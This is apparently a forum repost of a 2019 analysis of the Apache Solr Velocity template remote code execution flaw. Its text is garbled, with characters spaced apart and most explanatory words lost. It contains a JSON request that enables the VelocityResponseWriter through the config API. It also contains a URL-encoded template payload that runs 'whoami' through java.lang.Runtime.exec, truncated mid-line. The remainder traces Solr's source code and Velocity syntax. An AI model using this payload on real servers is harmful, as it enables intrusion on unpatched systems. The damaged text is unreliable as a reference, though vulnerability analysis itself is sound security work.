[14764] 2019-11-01_ApacheSolr最新RCE漏洞分析

文档创建者:s7ckTeam
浏览次数:11
最后更新:2025-01-18
2019-11-01_ApacheSolr最新RCE漏洞分析 A p a c h e   S o l r R C E G l a s s y   F r e e B u f   2 0 1 9 - 1 1 - 0 1 A p a c h e   S o l r R C E   0 d a y R C E 8 . 1 . 1 R C E c o r e C o r e   A d m i n m y c o r e c o n f i g j s o n 访 u r l R C E m y c o r e S o l r C o n f i g H a n d l e r h a n d l e R e q u e s t B o d y P O S T h a n d l e P O S T h a n d l e P O S T m y c o r e h a n d l e C o m m a n d s a d d N a m e d P l u g i n V e l o c i t y R e s p o n s e W r i t e r   s o l r . r e s o u r c e . l o a d e r . e n a b l e d p a r a m s . r e s o u r c e . l o a d e r . e n a b l e d t r u e n a m e v e l o c i t y {     " u p d a t e - q u e r y r e s p o n s e w r i t e r " :   {         " s t a r t u p " :   " l a z y " ,         " n a m e " :   " v e l o c i t y " ,         " c l a s s " :   " s o l r . V e l o c i t y R e s p o n s e W r i t e r " ,         " t e m p l a t e . b a s e . d i r " :   " " ,         " s o l r . r e s o u r c e . l o a d e r . e n a b l e d " :   " t r u e " ,         " p a r a m s . r e s o u r c e . l o a d e r . e n a b l e d " :   " t r u e "     } } / s o l r / m y c o r e / s e l e c t ? w t = v e l o c i t y & v . t e m p l a t e = c u s t o m & v . t e m p l a t e . c u s t o m = % 2 3 s e t ( $ x = % 2 7 % 2 7 ) + % 2 3 s e t ( $ r t = $ x . c l a s s . f o r N a m e ( % 2 7 j a v a . l a n g . R u n t i m e % 2 7 ) ) + % 2 3 s e t ( $ c h r = $ x . c l a s s . f o r N a m e ( % 2 7 j a v a . l a n g . C h a r a c t e r % 2 7 ) ) + % 2 3 s e t ( $ s t r = $ x . c l a s s . f o r N a m e ( % 2 7 j a v a . l a n g . S t r i n g % 2 7 ) ) + % 2 3 s e t ( $ e x = $ r t . g e t R u n t i m e ( ) . e x e c ( % 2 7 w h o a m i % 2 7 ) ) + $ e x . w a i t F o r ( ) + % 2 3 s e t ( $ o u t = $ e x . g e t I n p u t S t r e a m ( ) ) + % 2 3 f o r e a c h ( $ i + i n + [
H t t p S o l r C a l l . c a l l r e s p o n s e W r i t e r w t r e p o n s e W r i t e r w t v e l o c i t y V e l o c i t y R e s p o n s e W r i t e r V e l o c i t y R e s p o n s e W r i t e r . w r i t e c r e a t e E n g i n e c u s t o m . v r m - > p a y l o a d t e m p l a t e e n g i n e t e m p l a t e e n g i n e o v e r r i d i n g P r o p e r t i e s p a r a m s . r e s o u r c e . l o a d e r . i n s t a n c e s o l r . r e s o u r c e . l o a d e r . i n s t a n c e t e m p l a t e p a r a m s . r e s o u r c e . l o a d e r . i n s t a n c e s o l r . r e s o u r c e . l o a d e r . i n s t a n c e p a r a m s R e s o u r c e L o a d e r E n a b l e d s o l r R e s o u r c e L o a d e r E n a b l e d T r u e V e l o c i t y R e s p o n s e W r i t e r . g e t T e m p l a t e v . t e m p l a t e t e m p l a t e t e m p l a t e m e r g e
t e m p l a t e V e l o c i t y   J a v a   t m p l a t e o r g . a p a c h e . v e l o c i t y . T e m p l a t e j a v a p a y l o a d V e l o c i t y   J a v a   t e m p l a t e m e r g e R C E s o l r 访 * G l a s s y @ F r e e B u f . C O M V e l o c i t y J a v a 使 J a v a / /   # s e t ( $ n a m e   = v e l o c i t y ) / /   # s e t ( $ f o o   =   $ b a r ) / /   # s e t ( $ f o o   = h e l l o )   # s e t ( f o o . n a m e = b a r . n a m e )   # s e t ( f o o . n a m e = b a r . g e t N a m e ( $ a r g ) )   / /   # f o r e a c h ( $ e l e m e n t   i n   $ l i s t )   T h i s   i s   $ e l e m e n t   $ v e l o c i t y C o u n t # e n d / /   t e m p l a t e . m e r g e ( c o n t e x t ,   w r i t e r ) ;

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则